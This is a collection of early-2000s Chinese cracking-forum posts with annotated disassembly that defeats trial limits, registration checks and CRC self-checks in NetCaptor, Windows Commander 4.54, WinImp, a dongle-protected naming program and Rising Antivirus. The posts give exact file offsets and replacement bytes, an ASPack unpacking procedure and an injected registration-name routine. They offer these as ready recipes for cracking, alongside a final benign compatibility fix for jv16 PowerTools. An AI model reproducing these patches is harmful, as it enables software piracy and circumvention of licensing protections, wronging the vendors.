* Possible StringData Ref from Code Obj ->"?�館媇悑3U貸d0?3ZY塰)"
|
:004A2951 68A5294A00 push 004A29A5
:004A2956 64FF30 push dword ptr fs:[eax]
:004A2959 648920 mov dword ptr fs:[eax], esp
:004A295C 8B45FC mov eax, dword ptr [ebp-04]
:004A295F E89416F6FF call 00403FF8-------------------------->算加密字符串长度，并返回到eax
:004A2964 8BD8 mov ebx, eax--------------------------->将加密字符串长度送ebx
:004A2966 85DB test ebx, ebx
:004A2968 7E25 jle 004A298F
:004A296A BF01000000 mov edi, 00000001----------------------->edi置1

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A298D(C)
|
:004A296F 8D45F4 lea eax, dword ptr [ebp-0C]------------>将解密后的字符串地址送eax
:004A2972 8B55FC mov edx, dword ptr [ebp-04]------------>指向加密的字符串
:004A2975 8A543AFF mov dl, byte ptr [edx+edi-01]---------->从加密的字符串取一个字符
:004A2979 3255FB xor dl, byte ptr [ebp-05]-------------->与93h 异或后，dl所保存的就是解密后的字符了！
:004A297C E88315F6FF call 00403F04
:004A2981 8B55F4 mov edx, dword ptr [ebp-0C]------------>指向解密后的字符串地址
:004A2984 8BC6 mov eax, esi
:004A2986 E87516F6FF call 00404000-------------------------->将还原后的字符送上述地址保存
:004A298B 47 inc edi-------------------------------->edi加1
:004A298C 4B dec ebx
:004A298D 75E0 jne 004A296F--------------------------->循环完了吗？没完就继续↑

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A2968(C)
|
:004A298F 33C0 xor eax, eax
:004A2991 5A pop edx
:004A2992 59 pop ecx
:004A2993 59 pop ecx
:004A2994 648910 mov dword ptr fs:[eax], edx

* Possible StringData Ref from Code Obj ->"_[迕U炖h)"
|
:004A2997 68AC294A00 push 004A29AC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A29AA(U)
|
:004A299C 8D45F4 lea eax, dword ptr [ebp-0C]
:004A299F E8B813F6FF call 00403D5C
:004A29A4 C3 ret

↑-------------------------------------------------------------------↑

继续往下走...

* Possible StringData Ref from Code Obj ->"躯龀蓥缧蜚琰岢鲭鲳骁蝰�龀喑聆鳊橱蟒螋鲼蒋襻?
->"岘?鲵圉翅鼍噻?�齿鲧序沌?
|
:004D310B B8A0314D00 mov eax, 004D31A0------------------------>指向加密的CRC出错信息
:004D3110 E823F8FCFF call 004A2938---------------------------->还原加密字符串的CALL
:004D3115 8B45EC mov eax, dword ptr [ebp-14]-------------->指向CRC出错信息(如下↓)

*******************************************
The NetCaptor executable has been damaged.
Please re-install NetCaptor.
*******************************************

:004D3118 50 push eax
:004D3119 6A00 push 00000000
:004D311B 8D4DE8 lea ecx, dword ptr [ebp-18]
:004D311E BAF8314D00 mov edx, 004D31F8
:004D3123 8BC3 mov eax, ebx
:004D3125 E85EC7FFFF call 004CF888
:004D312A 8B45E8 mov eax, dword ptr [ebp-18]
:004D312D 50 push eax
:004D312E 6A00 push 00000000
:004D3130 8D45FF lea eax, dword ptr [ebp-01]
:004D3133 50 push eax
:004D3134 6A00 push 00000000
:004D3136 6A00 push 00000000
:004D3138 8D55E4 lea edx, dword ptr [ebp-1C]

* Possible StringData Ref from Code Obj ->"軇P"
|
:004D313B A184725000 mov eax, dword ptr [00507284]
:004D3140 E82B35F3FF call 00406670
:004D3145 8B4DE4 mov ecx, dword ptr [ebp-1C]
:004D3148 8B5358 mov edx, dword ptr [ebx+58]
:004D314B 8BC3 mov eax, ebx
:004D314D E80AA40000 call 004DD55C---------------------------->CRC出错啦！！
:004D3152 8BC3 mov eax, ebx
:004D3154 E8C7EAF7FF call 00451C20

￣￣￣￣￣￣￣￣￣￣￣￣￣

◆补充一点：
这样改过后，还有一点美中不足的是：在About窗口，总会有“You are on day XX of your 30-day evaluation period.”文字。
让我们美化美化。用W32dasm反汇编后，查找该字符串：

* Possible StringData Ref from Code Obj ->"NetCaptor 6.5.0"
|
:004C6277 BAA8634C00 mov edx, 004C63A8
:004C627C E873DBF3FF call 00403DF4
:004C6281 803DE48F500002 cmp byte ptr [00508FE4], 02
:004C6288 7527 jne 004C62B1------------------------------->不要跳呵|补丁③：nop 掉★★★

* Possible StringData Ref from Code Obj ->"Registered to: "
|
:004C628A 68C0634C00 push 004C63C0
:004C628F FF35EC8F5000 push dword ptr [00508FEC]
:004C6295 6878634C00 push 004C6378
:004C629A 6878634C00 push 004C6378
:004C629F FF75F8 push [ebp-08]
:004C62A2 8D45F8 lea eax, dword ptr [ebp-08]
:004C62A5 BA05000000 mov edx, 00000005
:004C62AA E809DEF3FF call 004040B8
:004C62AF EB49 jmp 004C62FA

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004C6288(C)
|

* Possible StringData Ref from Code Obj ->"You are on day "---------------------|站在此往上看↑
|
:004C62B1 68D8634C00 push 004C63D8
:004C62B6 8D55E4 lea edx, dword ptr [ebp-1C]
:004C62B9 A1E88F5000 mov eax, dword ptr [00508FE8]
:004C62BE E82935F4FF call 004097EC
:004C62C3 FF75E4 push [ebp-1C]

* Possible StringData Ref from Code Obj ->" of your "
|
:004C62C6 68F0634C00 push 004C63F0
:004C62CB 8D55E0 lea edx, dword ptr [ebp-20]
:004C62CE B81E000000 mov eax, 0000001E
:004C62D3 E81435F4FF call 004097EC
:004C62D8 FF75E0 push [ebp-20]

* Possible StringData Ref from Code Obj ->"-day evaluation period."
|
:004C62DB 6804644C00 push 004C6404
:004C62E0 6878634C00 push 004C6378
:004C62E5 6878634C00 push 004C6378
:004C62EA FF75F8 push [ebp-08]

------------------------------------☆

当然，为了Art of Crack的考虑，你可以修改其它地方，那就看你的了。好！
收工！

补丁①　　　　　　@offset 103a4f 3C02-->B002
补丁②　　　　　　@offset d24e7 7E70-->EB70
补丁③　　　　　　@offset c5688 7527-->9090

2001-10-1 《完》


Windows Commander 4.54

 标 题:注册你的Windows Commander 4.54 (5千字)
发信人:zombieys
时 间:2001-9-14 12:09:01
详细信息:
注册你的Windows Commander 4.54

这个是重复发的贴呀，先别忙骂我，以前写的没有对脱壳部分作详细说明，这次完善了一下，顺便介绍一下如何脱aspack的壳，手边有没有其他现成的，虽说webzip也是aspack压缩的，不过那个要上线验证，注册还没来得及搞，所以就用wincmd对付一下吧:)。

1.unpack(2001.9.9)

首先脱壳，用ti找到oep:54b2dc，接着用trw2000载入wincmd32.exe，下g 54b2dc，下suspend，用prodump 脱壳，选dump(full)，接着按ctrl+n，f5退出trw。接着用ImportREC修复import table，oep:14b2d8，rva:00159150，size:00000830。

1 0015924C KERNEL32.dll 033C WinExec
1 001593E0 KERNEL32.dll 00C7 CreateProcessA

用add new section选项fix dump即可。用peditor改入口为0014b2dc。

2.carck(忘记了，最近2个月内做的吧)

如我所料，wincmd的注册方式基本没变化，但是此版加了新的crc校验，花了我不少时间:(
用加了icedump的s-ice加载NEWPE.EXE,下bpx readfile,按几次f12到wincmd地盘，接着按f10走到如下:

1.
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004CDA67(C)
|
:004CDA7D E8A65AF3FF call 00403528
:004CDA82 83B80C00000000 cmp dword ptr [eax+0000000C], 00000000
:004CDA89 7521->9090 jne 004CDAAC->nop
:004CDA8B 8D85E2FEFFFF lea eax, dword ptr [ebp+FFFFFEE2]
:004CDA91 50 push eax
:004CDA92 8D9570FAFFFF lea edx, dword ptr [ebp+FFFFFA70]

2.将4cd7fc-4cd875的内容改为

add eax,00000017
mov byte ptr [eax],00
add eax,00000003
mov byte ptr [eax],7A
inc eax
mov byte ptr [eax],6F
inc eax
mov byte ptr [eax],6D
inc eax
mov byte ptr [eax],62
inc eax
mov byte ptr [eax],69
inc eax
mov byte ptr [eax],65
inc eax
mov byte ptr [eax],79
inc eax
mov byte ptr [eax],13
inc eax
mov byte ptr [eax],5B
inc eax
mov byte ptr [eax],43
inc eax
mov byte ptr [eax],43
inc eax
mov byte ptr [eax],47
inc eax
mov byte ptr [eax],5D
inc eax
mov byte ptr [eax],00
.
.
.
mov byte ptr [eax],00
nop
ret

0517000000C600000503000000C6007A40C6000F40C6006D40C6006240C6006940C6006540C6007940C6007340C6005B40C6004340C6004340C6004740C6005D40C6000040C6000040C6000040C6000040C6000040C6000040C6000040C6000040C6000040C6000040C6000040C6000040C6000040C6000090C3

3.
* Possible Reference to String Resource ID=00016: "Specify file type"
|
:004CDD02 B910000000 mov ecx, 00000010
:004CDD07 E8204DF3FF call 00402A2C
:004CDD0C 0F84AE000000->e9af000000 je 004CDDC0->jmp 004CDDC0
:004CDD12 33DB xor ebx, ebx
:004CDD14 33D2 xor edx, edx

4.
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004CDEBC(C)
|
:004CDECB 8D8558F8FFFF lea eax, dword ptr [ebp+FFFFF858]
:004CDED1 8BD6 mov edx, esi
:004CDED3 E8688DF3FF->90 call 00406C40->nop
->33c9 ->xor ecx,ecx
->8808 ->mov bytes ptr[eax],cl

:004CDED8 BA9CE24C00 mov edx, 004CE29C
:004CDEDD 8D8558F8FFFF lea eax, dword ptr [ebp+FFFFF858]
:004CDEE3 E8208EF3FF call 00406D08

5.
* Possible Reference to String Resource ID=00016: "Specify file type"
|
:004CE11D B910000000 mov ecx, 00000010
:004CE122 E80549F3FF call 00402A2C
:004CE127 7402->eb02 je 004CE12B->jmp 004CE12B
:004CE129 33DB xor ebx, ebx

6.
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0054B63B(C)
|
:0054B649 A1C00B5500 mov eax, dword ptr [00550BC0]
:0054B64E E86134EDFF->eb00 call 0041EAB4->jmp 54B650
->eb00 ->jmp 54B652
->90 ->nop

:0054B653 E85CDEFFFF call 005494B4
:0054B658 E87B0CECFF call 0040C2D8
:0054B65D A1CCF65400 mov eax, dword ptr [0054F6CC]
:0054B662 E8D102EDFF call 0041B938

7.
:004DFE71 E8CA6DF2FF call 00406C40
:004DFE76 8B4304 mov eax, dword ptr [ebx+04]
:004DFE79 83F808 cmp eax, 00000008
:004DFE7C 7F36->9090 jg 4DFEB4->nop
:004DFE7E 0F8459060000 je 004E04DD

8.
:004E8B6D A108D35400 mov eax, dword ptr [0054D308]
:004E8B72 2DB9230000 sub eax, 000023B9
:004E8B77 740a->EB0A jz 004E8B83->jmp 004E8B83

9.new crc check
:004E9969 50 push eax
:004E996A 6A00 push 00000000
:004E996C B92F010000 mov ecx, 0000012F
:004E9971 BA2D010000 mov edx, 0000012D
:004E9976 8B8324010000 mov eax, dword ptr [ebx+00000124]
:004E997C E823210500 call 0053BAA4
:004E9981 803D3CDE540000 cmp byte ptr [0054DE3C], 00
:004E9988 750A->eb0a jne 004E9994->jmp 004E9994

好了就这么多了，要想知道为什么这么改，跟踪一次就知道了，不过我觉得没有特殊兴趣的话，还是算了吧，比较麻烦，没必要。其中的2.可以换成其他的名字。9.这个没有提示的crc校验真的令我头大呀，又是delphi编的，类似有crc校验的还有iptools,tag&rename，头痛呀:(,其中tag&rename这个已搞定;-)

zombieys[CCG]
2001.8.14

———————————————————————————————>
.-" "-. cracked by zombieys[CCG] >
/　 　　\ qq:1789655 >
| ★　　 | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| zombieys.cn.hongnet.com >
|/ /\ \| >
(@_@) (_ ^^ _) Thanks for your supports >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>


WinImp 1.11

 标 题:转帖：解除 WinImp 的自校验 (10千字)
发信人:1212
时 间:2001-11-3 8:24:47
详细信息:
解除 WinImp 的自校验
点睛工作室--梁利锋

声明

个人可以自由转载本文，不过应保持原文的完整性，并通知我；商业转载先请和我联系。

本文没有任何明确或不明确地提示说本文完全正确，阅读和使用本文的内容是您自己的选择，本人不负任何责任。

如果您发现本文有错漏的地方，请您给我指出；如果有什么不理解的，请您给我提出。

意见、建议和提出的问题最好写在我的主页 http://llf.126.com 的留言版上。

前言

最近知道，类似 WinImp 这样的软件有自校验的功能，如果软件被修改任何一个字节，都会出现出错提示，从而不能进入软件界面。这好像也是一个遥远的回忆了，很久以前的软件使用这种方法来检测病毒，而且 pctools自带的查毒软件就有一种功能，可以给任何软件加上一个自检测的外壳。不过，随着 Windows 的流行，以前的病毒作者好像不习惯这种变化，像以前这种修改可执行文件方式的 Windows 病毒几乎绝迹，所以目前使用自校验的程序也比较少，但是毕竟还有。另外，因为这并非为了加密，而只是检测文件安全性的手段，所以破解很简单，我在这里介绍一下，希望那些并不会汇编语言的同志们也可以看懂并且自行修改。

（除这一类自校验以外，我以前常用的是 Arj ，只要键入“Arj i”，Arj 就进行自校验，如果自校验出错的话，一般总是中毒了。）

解除

我使用 WinImp 1.11 做例子。首先修改 winimp32.exe ，使之出现错误提示，我们见到一个消息框（MessageBox），其中的提示为：

The WinImp executable file has been modified during or after extraction. It may have been damaged by a disk or download error, or your computer may have a virus. Make sure your virus scanner is the latest version. You may need to download WinImp again.

现在，用 W32dasm 打开 winimp32.exe ，然后保存，结果得到一个 winimp32.alf 文件，关闭 W32dasm ，我们现在对 winimp32.alf 文件进行分析。用一个文本编辑器打开 winimp32.alf ，可以看到开头的几行是这样的：

Disassembly of File: winimp32.exe
Code Offset = 00000400, Code Size = 0003BE00
Data Offset = 0003DE00, Data Size = 00012000

Number of Objects = 0006 (dec), Imagebase = 00400000h

Object01: AUTO RVA: 00001000 Offset: 00000400 Size: 0003BE00 Flags: 60000020

在上面可见到，蓝色的部分说明此程序的基地址为 00400000h ，而绿色的部分说明它的代码的实际地址和虚拟地址之间有 00001000h - 00000400h = 00000C00h 的差别，所以总的可执行文件中偏移量和程序代码中的偏移量之差是 00400000h + 00000C00h = 00400C00h 。

现在，我们查找在消息框中出现的文本，因为不是杀毒软件，所以出现 virus 的概率很低，查找 virus ，发现和以上消息框同样的字符串，其前后的代码如下：

:00430D45 E856A6FFFF call 0042B3A0
:00430D4A 3B051CD24400 cmp eax, dword ptr [0044D21C]
:00430D50 741C je 00430D6E
:00430D52 6A30 push 00000030

* Possible StringData Ref from Data Obj ->"WinImp"
|
:00430D54 6830D24400 push 0044D230

* Possible StringData Ref from Data Obj ->"The WinImp executable file has "
->"been modified during or after "
->"extraction. It may have been damaged "
->"by a disk or download error, or "
->"your computer may have a virus. "
->"Make sure your virus scanner is "
->"the latest version. You may need "
->"to download WinImp again."
|
:00430D59 68C0AE4400 push 0044AEC0
:00430D5E 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:0048h
|
:00430D60 2EFF150CD84300 Call dword ptr cs:[0043D80C]
:00430D67 B8FFFFFFFF mov eax, FFFFFFFF
:00430D6C EB65 jmp 00430DD3

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00430D50(C)
|
:00430D6E A140384500 mov eax, dword ptr [00453840]
:00430D73 31C9 xor ecx, ecx

其中绿色的部分说明这一次调用（Call）的是 MessageBoxA ，正和我们的预测相同。MessageBoxA 有四个参数，所以上面也有四个 push 语句，不理会它。再向上，蓝色的部分是比较语句（cmp），而红色的部分是条件跳转语句（在这里是 je），那么这次跳转究竟跳到哪里了呢？就是最后紫色的 00430D6E 的位置，正好跳过这个 MessageBoxA ，而且在 00430D6E 之上的一句是跳转（jmp）语句，更说明红色的部分就是我们要修改的部分。

记下红色部分的偏移量 00430D50，然后和总的偏移量差别进行运算，00430D50 - 00400C00h = 00030150h ，说明此代码在可执行文件的 00030150h 偏移处。用 UEdit 打开 winimp32.exe ，跳到 0x30150 处，发现这里就是代码“je 00430D6E”（741C）所在的地方，je 就是 74 ，我们把它改成跳转 jmp ，就是 eb ，所以就是把此处的“74”改成“EB”，存盘，运行，成功！

如果不习惯计算偏移量，可以使用查找的方法，在“741C”上面是“3B051CD24400”，就查找“3B051CD24400”，发现只有一处，后面是“741C”，把“74”改成“EB”，存盘，运行，成功！

这种方法只是简单的跳过检测，如果可以查到重新计算的数值，把它写入可执行文件的话，就仍然保留了原程序的病毒检测功能，应该是比较完美的，不过这样的话，一定要使用 Trw2000 ，要求就高了一些，如果有兴趣的，可以一试！

另类的完全破解

伟告诉我，用以上的方法破解，有一个问题，就是 WinImp只能打开 *.imp 文件了（也可以打开 *.rar），对于原来支持的各种格式，比如 zip现在都不支持了，这实在是不好，所以我又对它进行了分析，结果发现它进行了多次的自校验，如果只是简单的像上面那样修改的话，就可能出现各种问题，但是因为它调用校验的次数太多（大约一百余次），所以真的全部修改的话会非常繁琐，想必非人力所能及，最后我终于想出一种完全破解的方法。

对于这种方法，因为需要太多的汇编语言的知识，所以我就不详细讲了，只简单介绍一下原理。

WinImp 的自校验在开始的时候先打开自己（winimp32.exe ），并放进内存，然后的校验都是对于这一块内存进行的，我的方法是让他打开一个名为 winimp32.ex 的文件，把此文件放进内存进行校验，这个 winimp32.ex 文件就是原始的 winimp32.exe 文件的副本，所以校验一定会通过。

具体方法就是，首先把原始的 winimp32.exe 文件在同一目录复制一份名为 winimp32.ex，然后修改 winimp32.exe 。修改方法是，查找“68040100008D85F8FEFFFF50FF35101245002EFF1508D64300 BA000000808D85F8FEFFFFE8E348000089C183F8FF750AB8FBFFFFFF” ，把它改成“8D85F8FEFFFF506A7F50FF35101245002EFF1508D6430003442400 48C6000058BA00000080E8E248000089C183F8FF75096AFB5890”即可。

不过这种方法有一种限制，就是目标文件的全路径名不能长于 127个字节，虽然大多数情况成立，但是毕竟是一种限制，如果用这种方法做汉化的时候，请一定在说明里注明此问题。

下面附上对于上面修改的字节流的汇编代码，如有兴趣，不妨读一读，如果能把上面所说的 127 字节的限制取消的话，请一定通知我。

s
6804010000 push 00000104
8D85F8FEFFFF lea eax, dword ptr [ebp+FFFFFEF8]
50 push eax
FF3510124500 push dword ptr [00451210]
2EFF1508D64300 Call dword ptr cs:[0043D608]
BA00000080 mov edx, 80000000
8D85F8FEFFFF lea eax, dword ptr [ebp+FFFFFEF8]
E8E3480000 call 004355B1
89C1 mov ecx, eax
83F8FF cmp eax, FFFFFFFF
750A jne 00430CDF
B8FBFFFFFF mov eax, FFFFFFFB
E9F4000000 jmp 00430DD3

c
8D85F8FEFFFF lea eax, dword ptr [ebp+FFFFFEF8]
50 push eax
6A7F push 7F
50 push eax
FF3510124500 push dword ptr [00451210]
2EFF1508D64300 Call dword ptr cs:[0043D608]
03442400 add eax,dword ptr[esp+0]
48 dec eax
C60000 mov byte ptr [eax], 00
58 pop eax
BA00000080 mov edx, 80000000
E8E2480000 call 004355B1
89C1 mov ecx, eax
83F8FF cmp eax, FFFFFFFF
7509 jne 00430CDF
6AFB push FB
58 pop eax
90 nop
E9F4000000 jmp 00430DD3

上面，s 部分表示原文件中的汇编代码，而 c 部分表示修改后的汇编代码。

最后说一下，上一节介绍的方法对于其它进行自校验的程序仍然很可能是可以的，下面这种方法只是用来对付像 WinImp 这种非常顽固的程序的。:)

解除 127 字节限制

要解除上面所说的 127字节的限制，主要的困难在于没有空间，所以我把更下面的一段代码也加入，从那里得到了两个字节，其汇编代码如下：

s
6804010000 push 00000104
8D85F8FEFFFF lea eax, dword ptr [ebp+FFFFFEF8]
50 push eax
FF3510124500 push dword ptr [00451210]
2EFF1508D64300 Call dword ptr cs:[0043D608]
BA00000080 mov edx, 80000000
8D85F8FEFFFF lea eax, dword ptr [ebp+FFFFFEF8]
E8E3480000 call 004355B1
89C1 mov ecx, eax
83F8FF cmp eax, FFFFFFFF
750A jne 00430CDF
B8FBFFFFFF mov eax, FFFFFFFB
E9F4000000 jmp 00430DD3
A114D24400 mov eax, dword ptr [0044D214]
E8A7590000 call 00436690
A340384500 mov dword ptr [00453840], eax
85C0 test eax, eax
750A jne 00430CFC
B8FEFFFFFF mov eax, FFFFFFFE
E9D7000000 jmp 00430DD3

c
8D85F8FEFFFF lea eax, dword ptr [ebp+FFFFFEF8]
50 push eax
6804010000 push 00000104
50 push eax
FF3510124500 push dword ptr [00451210]
2EFF1508D64300 Call dword ptr cs:[0043D608]
03442400 add eax,dword ptr[esp+0]
48 dec eax
C60000 mov byte ptr [eax], 00
58 pop eax
BA00000080 mov edx, 80000000
E8DF480000 call 004355B1
89C1 mov ecx, eax
83F8FF cmp eax, FFFFFFFF
7508 jne 00430CDF
6AFB push FB
58 pop eax
E9F2000000 jmp 00430DD3
A114D24400 mov eax, dword ptr [0044D214]
E8A5590000 call 00436690
A340384500 mov dword ptr [00453840], eax
85C0 test eax, eax
7508 jne 00430CFC
6AFE push FE
58 pop eax
E9D7000000 jmp 00430DD3

其字节代码也在其中，我就不再写了，不过因为改起来非常麻烦，所以我提供了破解自校验后的程序的下载，想汉化的话用这个破解版就可以了。

-- 完(2000.07.16) --

---------------------------------------------------------------
不要爱我因为我爱上网络
不要恨我因为我不值得


姓名与人生2000?片段

 标 题:姓名与人生2000 片段
发信人:井风
时 间:2002-02-28
详细信息:
软件名称：姓名与人生2000 片段 xmx.exe 269KB
下载地点：http://cycycycy.yeah.net
撰 稿 人: 井 风
时 间: 2002-02-28
破解工具：Soft-ice 4.05
解题难度：##[专 业]## [学 士] [硕 士] [博 士]

前 言：
这是一个如何破解软件自身校验的习题，通过学习，你会了解软件实现自身校验技术
的原理。

这个例子来自于本人已完美破解的金天地狗加密软件《姓名与人生2000》软件，这是
它的用户界面部分。你若需要完整的《姓名与人生2000》安装程序（61M）及本人重写的加
密狗驱动程序，请与我联系。

过 程:
1、下载例子verifyxmx.zip，将它解压到一目录，下载支持库，解出XXXXX.dll到同一目录；

2、运行xmx.exe可欣赏《姓名与人生2000》软件的界面；

3、用16进制软件(我用的是hiew6.7)打开xmx.exe，将它DOS根：This program can not run
in DOS mode 随便改动一下，如将This改成CYCY，目的是修改程序；(别忘了保留备份)

4、运行程序，这时程序已不能正常运行，只是闪一下便结束了。

5、这明显是自身校验保护部分被激活了，程序检测到自身已被修改过，拒绝运行。

6、将备份改名为xmx0.exe、xmx0.gam，用于作对比程序运行流程。

7、用对比法逐层查找出xmx.exe、xmx0.exe两者流程分叉处：代码中[HERE-A]处。

0167:0040282A ADD ESP,BYTE +08
0167:0040282D TEST EAX,EAX
0167:0040282F JNZ NEAR 00402942
0167:00402835 MOV EAX,[00428A70]
0167:0040283A MOV ECX,[00428498]
0167:00402840 MOV [ECX+5C],AX
0167:00402844 MOV ESI,[00429928]
0167:0040284A XOR EBX,EBX
0167:0040284C MOV EBP,FFFFFFFD
0167:00402851 CALL 00403FA0 <=====可以肯定[HERE-B]处EAX的值是由此CALL产生,记为[HERE-C]
重点应在此CALL内，要找出产生[EAX]=190的原因，问题就
解决了。
0167:00402856 MOV EDI,EAX
0167:00402858 TEST EDI,EDI
0167:0040285A JNZ NEAR 00402915
0167:00402860 MOV EAX,[00428498]
0167:00402865 MOV [EAX+5E],BX
0167:00402869 MOV EAX,[00428498]
0167:0040286E MOV [EAX+60],BX
0167:00402872 XOR EAX,EAX
0167:00402874 MOV AX,[004286D4] <=====将[004286D4]的值移入AX，要找出它是怎样来的？
0167:0040287A DEC EAX <=====未修改时值为1，修改后时值为190，记为[HERE-B]
0167:0040287B CMP EAX,BYTE +03
0167:0040287E JA 00402887 <=====未修改时，此处为不跳，记为[HERE-A]
0167:00402880 JMP NEAR [EAX*4+00402948]
0167:00402887 MOV EAX,[00428498]
0167:0040288C MOV [EAX+5E],BP
0167:00402890 JMP SHORT 00402904
0167:00402892 CALL 00404FA0 <=====执行此CALL后出现程序界面
0167:00402897 MOV EDI,EAX
0167:00402899 MOV EAX,[00428530]
0167:0040289E PUSH EAX
0167:0040289F CALL ESI
0167:004028A1 CMP EAX,BYTE +01
0167:004028A4 SBB EAX,EAX
0167:004028A6 INC EAX

8、分析：重点转移到[HERE-C]这个CALL内，需要找出产生“190”的原因。。。

9、深入跟踪0167:00402851 CALL 00403FA0，代码如下：

0167:0040402B CMP WORD [004286D4],BYTE +04
0167:00404033 JZ 0040404E
0167:00404035 MOV EAX,[00428334]
0167:0040403A MOV ECX,[00428498]
0167:00404040 MOV [0042834C],EAX
0167:00404045 MOV EDX,[ECX+54]
0167:00404048 MOV [00428334],EDX
0167:0040404E MOV AX,[0042403E]
0167:00404054 CMP [00428344],AX <====校验比较处，
0167:0040405B JZ 00404066 <====这行不跳的话，就完了。。。
0167:0040405D MOV WORD [004286D4],0190 <====就是这行，它将190移入内存[004286D4]
0167:00404066 CMP WORD [004286D4],BYTE +02
0167:0040406E JZ 004040AE
0167:00404070 CMP WORD [004286D4],BYTE +03
0167:00404078 JZ 004040AE
0167:0040407A MOV ESI,[00428334]
0167:00404080 MOV EAX,[00428498]
0167:00404085 MOV ECX,[EAX+54]
0167:00404088 MOV [00428334],ECX
0167:0040408E MOV EDX,[EAX+58]
0167:00404091 PUSH EDX

10、分析：
找到了 0167:00404054 CMP [00428344],AX 这行就容易理解了，我们可以这样
想：[00428344]存放的是程序运行时CRC校验的余数，[AX]存放的是程序编译时CRC产生
余数，只要两者不同便说明程序被修改而不正确运行。

我们只要把执行程序中存放的余数改成[00428344]中的值就行了。试一试。。。。

11、用16进制软件打开xmx.exe，找出[00428344]值，十六进制4位数。也需可能有很多处，
到底是哪个地方呢？你自已试试吧，我可是一眼就能看出来！

12、找到偏移值00021E3E处，将这两个字节改成程序运行时[00428344]的值，运行，一切OK！

小 结：

这个程序破解过程虽然简单，但它具有一定的代表性。

后 记：
有疑问请与我联系：hz.cy@163.net
--------------------------------------------------------------------------------


关于防止同一程序多次运行

 标 题:关于防止同一程序多次运行的破解方法之补充篇 (3千字)
发信人:liangs
时 间:2001-10-28 14:12:34
详细信息:
关于防止同一程序多次运行的破解方法之补充篇

by liangs

上次写了一篇关于防止同一程序多次运行的破解方法，主要针对
使用FindWindowA函数的程序，具体可参见论坛精华Ⅲ。这次写一
篇针对使用CreateMutexA函数程序的破解方法，因为使用这个API
函数的程序实在是太多了！

这次的目标是瑞星杀毒软件2002版v13.23，选中它的原因就是因
为它就是使用CreateMutexA函数来防止同时运行多个进程的。

在破解前，大家可以在自己的机器上运行瑞星试试，当一个进程
运行后，再想运行另一个进程时就会发现什么反映都没有，程序只
是将刚才运行的第一个进程的程序窗口弹到前面。

下面是我两次跟踪程序API的调用结果：

==========================================================================
★程序运行第一个进程的结果★

CreateMutexA(LPDATA:00000000,BOOL:00000000,LPSTR:0043A88C:"{F25D2D81-9FA5-11d4-BE4D-444553540001}")::0040DAB3
CreateMutexA'returns: 00000018

GetLastError()::0040DABF
GetLastError'returns: 00000000 //注意这个返回值

==========================================================================
★程序运行第二个进程的结果★

CreateMutexA(LPDATA:00000000,BOOL:00000000,LPSTR:0043A88C:"{F25D2D81-9FA5-11d4-BE4D-444553540001}")::0040DAB3
CreateMutexA'returns: 00000018

GetLastError()::0040DABF
GetLastError'returns: 000000B7 //哈哈，看到了吧这个返回值与上面不一样了

=========================================================================

由于瑞星是用VC6开发的，那么上面一段API语句我把它翻译成如下的VC代码：
当然瑞星程序里的这段代码肯定就是这么写的。

hMutex=CreateMutex(
NULL, //nosecurityattributes
FALSE, //initiallynotowned
"F25D2D81-9FA5-11d4-BE4D-444553540001" //命名Mutex的全局对象名,在所有进程都可以访问到
);

if(hMutex==NULL||ERROR_ALREADY_EXISTS==::GetLastError())
{
//程序第二次或以后运行时，会得到Mutex已经创建的错误
AfxMessageBox("程序已经运行！"); //这句是我写的，瑞星就退出了，没有提示
return FALSE;
}

=========================================================================

对应于上面VC代码的程序汇编代码如下：

* Possible StringData Ref from Data Obj ->"{F25D2D81-9FA5-11d4-BE4D-444553540001}"
|
:0040DAA4 688CA84300 push 0043A88C
:0040DAA9 6A00 push 00000000
:0040DAAB 6A00 push 00000000

* Reference To: KERNEL32.CreateMutexA, Ord:003Fh
|
:0040DAAD FF1550F14200 Call dword ptr [0042F150] //建立mutex对象
:0040DAB3 898504070000 mov dword ptr [ebp+00000704], eax

* Reference To: KERNEL32.GetLastError, Ord:011Ah
|
:0040DAB9 FF15ACF14200 Call dword ptr [0042F1AC]
:0040DABF 3DB7000000 cmp eax, 000000B7 //对象已经存在，返回000000B7
:0040DAC4 0F85CB000000 jne 0040DB95 //这句当然是一定要使它跳转的

========================================================================

将0040DAC4处的代码0F85CB000000改为90E9CB000000，再运行程序试试，
呵呵，这回运行N个进程都没问题了吧。

一点补充：

要使瑞星的多个进程同时能运行杀毒功能还需处理以下两个地方
0040D6E4处是CRC的检测，004132D7是检测是否有另一个进程正在
运行杀毒操作。这两处很容易搞定，这里就不多说了。

(1):0040D6E4 0F8594000000 jne 0040D77E //改为Jmp

(2):004132D7 0F859A000000 jne 00413377 //改为Jmp

修改后的优点：

可同时运行N个进程，分别对N的硬盘同时进行杀毒，提高了N倍的效率，
经实际使用测试，呵呵，没发现不良影响。

申明：本文仅以技术交流为目的，转载请保持文章的完整性！

2001/10/28


jv16 PowerTools RC3 0.0.0.115

 标 题:jv16 PowerTools RC3 0.0.0.115 在某些机器不能运行的解决方案 (1千字)
发信人:fwnl
时 间:2002-2-28 11:03:58
详细信息:
jv16 PowerTools RC3 0.0.0.115 在某些机器不能运行的解决方案

jv16 PowerTools是 RegCleaner 的下一代版本，对注册表的管理真是一流的好，哈哈，可就是在某些
机子的win98下运行不了，经多次跟踪发现程序出错在4e655d处,于是我把4e6555的8bf0改成8cd6，程序
得以运行,其它版本的只要找到这个位置改后一样也可以。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004E63C1(C)
|
:004E653C 33C0 xor eax, eax
:004E653E 55 push ebp
:004E653F 68CE654E00 push 004E65CE
:004E6544 64FF30 push dword ptr fs:[eax]
:004E6547 648920 mov dword ptr fs:[eax], esp
:004E654A 6A06 push 00000006
:004E654C 6A01 push 00000001
:004E654E 6A02 push 00000002

* Reference To: wsock32.socket, Ord:0000h
|
:004E6550 E803E2FFFF Call 004E4758
